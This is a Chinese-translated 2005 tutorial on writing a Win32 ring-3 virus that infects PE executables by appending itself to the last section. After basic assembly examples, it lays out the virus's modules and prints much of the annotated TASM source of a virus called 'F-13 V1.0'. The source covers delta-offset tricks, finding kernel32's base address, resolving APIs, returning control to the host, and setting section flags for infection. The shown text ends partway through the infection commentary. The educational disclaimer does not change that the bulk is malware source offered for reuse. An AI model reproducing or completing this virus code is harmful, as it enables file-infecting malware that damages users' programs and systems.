F-13 Labshtml
15June 2005程序员
WIN32 Virus Run in Ring3编程
声明:windows
本文做者对因不当使用本资料可能致使的任何损失不负有责任。本文的目的仅仅是出于教学和研究。本文所提技术在病毒编写中可使用,但不是鼓励任何对计算机系统的有意损害或破坏行为。app
做者: lclee_vx 译者:fqh编辑器
<Email: lclee_vx@yahoo.com>函数
1.0 前言 / 介绍学习
这篇文章是我在开始学习感染PE文件不久后写的,由于全部内容在我头脑中还很清晰。感染的方式是在PE文件最后一节附加病毒。在这里,我仅仅写个简单的windows病毒,因此你会看到代码的行数是较少的。(一些我感兴趣的东西,但多是不经优化的)。如今咱们开始教程,请注意传播病毒是非法的,而且全部这些资料彻底是理论性的,目的是可控环境中进行测试。
注意:
病毒有6个功能模块
1. 搜索Kernel32.dl的ImageBase地址
2. 搜索一个要感染的文件
3. 打开文件看看它是否已被感染
4. 若是已感染,搜索另外一个文件
5. 反之,感染它
6. 把控制权交回给宿主程序
这篇文章远非是完美的,因此请告知我可能存在的错误以便更正。联系邮箱:
Email : lclee_vx@yahoo.com
在开始写病毒前你必须准备一些东西。以下:测试
1. tasm 5.0程序包 – ASM 编译器, 我喜欢用tasm :) !!优化
2. API 列表 (win32 API 帮助文件)
3. PE 文件格式 – 强烈推荐Matt Pietrek 的资料
4. ASM 指令帮助文件 – 用Google搜索并下载helppc.zip.
5. Win32ASM的基础知识
6. Windows 系统平台
7. 编辑器 – 我喜欢欢EditPlus
8. Vmware – 测试环境
3.0 基础
3.1 Ring3
i386 体系有四个特权等级,也称为环。它们控制内存访问权和可否使用特定的敏感CPU指令。环3是权限最低的级别。为了保持兼容性,Windows NT/2000只使用了环0(内核模式)和环3(用户模式)。首先,在系统底层,存储器的层次以下:
00000000h – 3FFFFFFFh |
应用程序代码和数据区 |
40000000h – 7FFFFFFFh |
存储器的共享区 (system dll’s) |
80000000h – BFFFFFFFh |
内核 |
C0000000h – FFFFFFFFh |
设备驱动 |
下面,咱们将写个病毒来在环3级别上(00000000h – 3FFFFFFFh)感染PE文件。我将再也不解释更多关于存储层次和系统结构的知识,由于我认为您能够从微软网站[1]里获取到这些信息。我假设你写的是一个在最后一个节添加代码的病毒。这种技术比在其余节增长代码要容易得多。在接下来的章节里,咱们看看病毒是怎样改变可执行文件的文件头的。
3.2 PE 格式
对于写Win32病毒来讲,熟悉PE文件头结构是很是重要的。好,这里我在附录中会给出PE格式和对它的简要描述,要想了解更多,请查阅下面我推荐的资料。
PE表明Portable Executable(可移植的执行体)。它是Win32,好比二进制程序(exe, dll, sys, scr)或对象文件(bpl, dpl, cpl, ocx, acm, ax),自带的文件格式。可移植的执行体的意思是win32平台好比Windows 98 and 2K/NT的通用文件格式。想了解PE文件格式,请参考:
1. 网站 Iczelion : http://win32assembly.online.fr/pe-tut1.html
2. 网站msdn :http://msdn.microsoft.com/msdnmag/issues/02/02/PE/default.aspx
3. 网站Jim Marinic : http://jfmasmtuts.blowsearch.ws/Ch2/pefile.htm
3.3 Win32 汇编程序的结构
Win32汇编程序的基本结构以下:
;--------------------------------------------------------------------//
.386p
.model flat, stdcall
extrn <external name 1>:PROC
extrn <external name 2>:PROC
……….
.data
.code
start:
<main code>
end start
end
;----------------------------------------------------------------------//
我假设你至少掌握了汇编语言的基础知识,它是每个破解者和程序员应该掌握的。
下面是一个简单的Win32汇编程序。我所作的仅仅是使用一个消息框,既然咱们工做于Win32,咱们想使用彻底的32位的力量,这个命令将是“MessageBoxA”。注意“MessageBoxA”的那个“A”后缀是处理ASCII字符的。咱们用已知的“extrn”命令定义它,而后压进参数并调用MessageBoxA这个API函数。记住,参数得以相反的顺序压进(堆栈)。下面 咱们继续…
;--------------------------------------------------------------------------------------//
.386p
.model flat
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
szTitle db "Group : F-13 Labs", 0
szMessage db "This is Simple Win32 ASM program", 10
db "From lclee_vx (RosLee)", 0
.code
start:
push 00000000h
push offset szTitle
push offset szMessage
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
end start
;----------------------------------------------------------------------------//
最后,咱们编译这个win32汇编程序。我但愿各位很清楚编写win32汇编程序了。你也可使用makefile或者写个批处理来自动编译汇编程序
Tasm32 /m3 /ml program
Tlink32 /Tpe /aa program, program,, import32.lib
我将放一个Win32病毒的代码来避免枯燥地解释怎么写环3病毒、怎么调用API函数来API hook和感染PE文件。请注意,下面这个Win32病毒代码没有特殊的特征,好比多态引擎。它能被全部的杀毒软件发现。因此,它不值得去改变字符串来改变做者版权。
;------------------------------------------------------------------------------------//
; 病毒名称 : F-13 V1.0
; 系统平台 : Win32
; 做者 : lclee_vx (leelingchuan)
; 产地 : 马来西亚
; 组织 : F-13 Labs
; 目标 : PE 文件
; Copyright (c) 2005 by lclee_vx
;--------------------------------------------------------------------------------//
;下面是一些宏指令。我设置了病毒尺寸的长度。
;----------------------------------------------------------------------------------------//
.386
.model flat, stdcall
option casemap : none
VirusSize equ (offset Virus_End - offset Virus_Start)
.data
szTitle db "F-13 Labs", 0
szMessage db "lclee_vx", 0
.code
u32 db "User32.dll", 0
Virus_Start label byte
;----------------------------------------------------------------------------------------------------//
; 首先,咱们要经过获取delta的偏移来得知当前的基址。这是由于咱们不知道这段代码是在哪里执行的。
; “call”指令把delta压进堆栈,并跳转到一个“pop”指令(译者注:即先把pop指令的地址压进堆栈,再把
; pop指令的地址放进EIP寄存器,EIP的POP指令执行后便把pop指令地址弹到ebp中)。
; 如今,ebp =当前进程的虚拟地址。当前基址=虚拟地址 – RVA(当前进程的相对虚拟地址)
;---------------------------------------------------------------------------------------------------//
vxstart:
call delta
delta:
pop ebp
sub ebp, offset delta ;从当前进程中获取基址
;-----------------------------------------------------------------------------------------------------//
; esp=进程的地址。我把它放到 ESI (它位于 Kernel32.dll,多是
; CreateProcess API中) 并设置到PE文件的开头. 跳转到搜索Kernerl32基址的子程序
;----------------------------------------------------------------------------------------------------//
mov esi, [esp] ;装载返回地址
and esi, 0FFFFF000h ;PE文件的开头
call GetK32 ;获取kernel32.dll基址的子程序:)
mov dword ptr [ebp+kernel], eax ;保存kernel32.dll的基址
;---------------------------------------------------------------------------------------------------//
;跳转到查找 GetProcAddress 地址的函数。GetProcAddress 函数将帮助咱们知道感染PE文件所必须的
;API函数的地址。把(GetProcAddress的)地址保存到 EDI
;-----------------------------------------------------------------------------------------------//
call GetApi ;搜索 GetProcAddress 的地址
mov [ebp+offset aGetProcAddress], edi ;保存 GetProcAddress的相对地址
;------------------------------------------------------------------------------------------------//
;edi=保存API的地址, esi=全部咱们查找的API函数的 ASCIIZ 名称. GetAPIs子程度
;将搜索咱们须要的API的地址
;-------------------------------------------------------------------------------------------------//
mov esi, [ebp+offset ListApi] ;开始搜索其余的API
mov edi, [ebp+offset OffsetApi] ;咱们须要的函数.Rock :)!!
call GetApis
call Prepare ;准备感染的区域
call SetDirectory ;保存咱们想扫描文件的目录
;------------------------------------------------------------------------------------------------------//
;检查是否第一代 (已经感染?), 若是是, we jump to running the pop up
;message as below we use the LoadLibrary function to load other dll file and GetProcAddress
;to get the address of API we needed. Here, we load the User32.dll and get the address of
;MessageBox function if not first generation, we reset back the old EIP and jump back to the
;original host
;--------------------------------------------------------------------------------------------------//
RestoreEIP:
cmp ebp, 0 ; 第一代?
je Finish
mov eax, [ebp+offset OldEIP] ; 保存旧的EIP
add eax, OldBase ;align to memory
jmp eax ; 返回宿主
Finish:
call LoadDll
lea edx, [ebp+offset @MessageBoxA]
call GetAddr
push 0
push offset szTitle
push offset szMessage
push 0
mov eax, [ebp+offset @MessageBoxA]
call eax
call LoadDll
lea edx, [ebp+offset @ExitProcess]
call GetAddr
push 0
mov eax, [ebp+offset @ExitProcess]
call eax
;--------------------------------------------------------------------------------------------------//
;下面咱们使用LoadLibrary子程序装载咱们必须的dll,下面装载User32.dll
;和获取地址的GetProcAddress函数
;-----------------------------------------------------------------------------------------------//
LoadDll proc
push offset u32 ;装载User32.dll
mov eax, [ebp+offset @LoadLibraryA]
call eax
ret
LoadDll endp
GetAddr proc
push edx
push eax
mov eax, [ebp+offset aGetProcAddress]
call eax
ret
GetAddr endp
;--------------------------------------------------------------------------------------------//
;这部分开始感染PE文件。我使用的方法是在最后一节添加代码。首先,我
;解释API函数以及咱们必须的参数。
;
; DWORD GetFileAttributes(
; LPCTSTR lpFileName //文件或目录名称的地址
; );
;a) lpFileName=名称的地址
;
;
; BOOL SetFileAttributes(
; LPCTSTR lpFileName, // 文件名称的地址
; DWORD dwFileAttributes // 要设置的属性的地址
; );
; a) dwFileAttributes=80h (全部文件)
;
;
; BOOL UnmapViewOfFile(
; LPCVOID lpBaseAddress //映射开始的地址
; );
; a) lpBaseAddress= MapViewOfFile返回的映射地址
;
;
; BOOL CloseHandle(
; HANDLE hObject // 要关闭的文件对象的句柄
; );
; a) hObject= CreateFileMapping 或 CreateFile返回的句柄
;
;
; DWORD SetFilePointer(
; HANDLE hFile, // 文件句柄
; LONG lDistanceToMove, //文件指针移动的字节数目
; PLONG lpDistanceToMoveHigh, // address of high-order word of distance to move
; DWORD dwMoveMethod //移动模式
; );
; a)hFile=文件句柄
; b)lDistanceToMove=文件的长度
; c)lpDistanceToMoveHigh=0
; d)dwMoveMethod=0 (从文件的开头)
;
;
; BOOL SetEndOfFile(
; HANDLE hFile // 要设置末尾的文件的句柄
; );
; a)hFile=文件句柄
;
;
;咱们必须设置节的标志来容许咱们添加代码,以下所示
; or dword ptr [esi+24h],00000020h ; 设置 [CWE] 标志: 代码,
; or dword ptr [esi+24h],20000000h ; 可执行,
; or dword ptr [esi+24h],80000000h ; 可写
;简单起见,我仅仅写以下代码
; or dword ptr [esi+24h], 0A0000020h
;
;
;最后一个section header的地址计算公式以下:
;最后一个section's header的地址 =(Directory Table)+(No. of Directories)*(Directory Size) +(No. of Sections - 1)*(Section header size)
;And remember that
; Directory的尺寸是 8
; Section Header 的尺寸是 28h.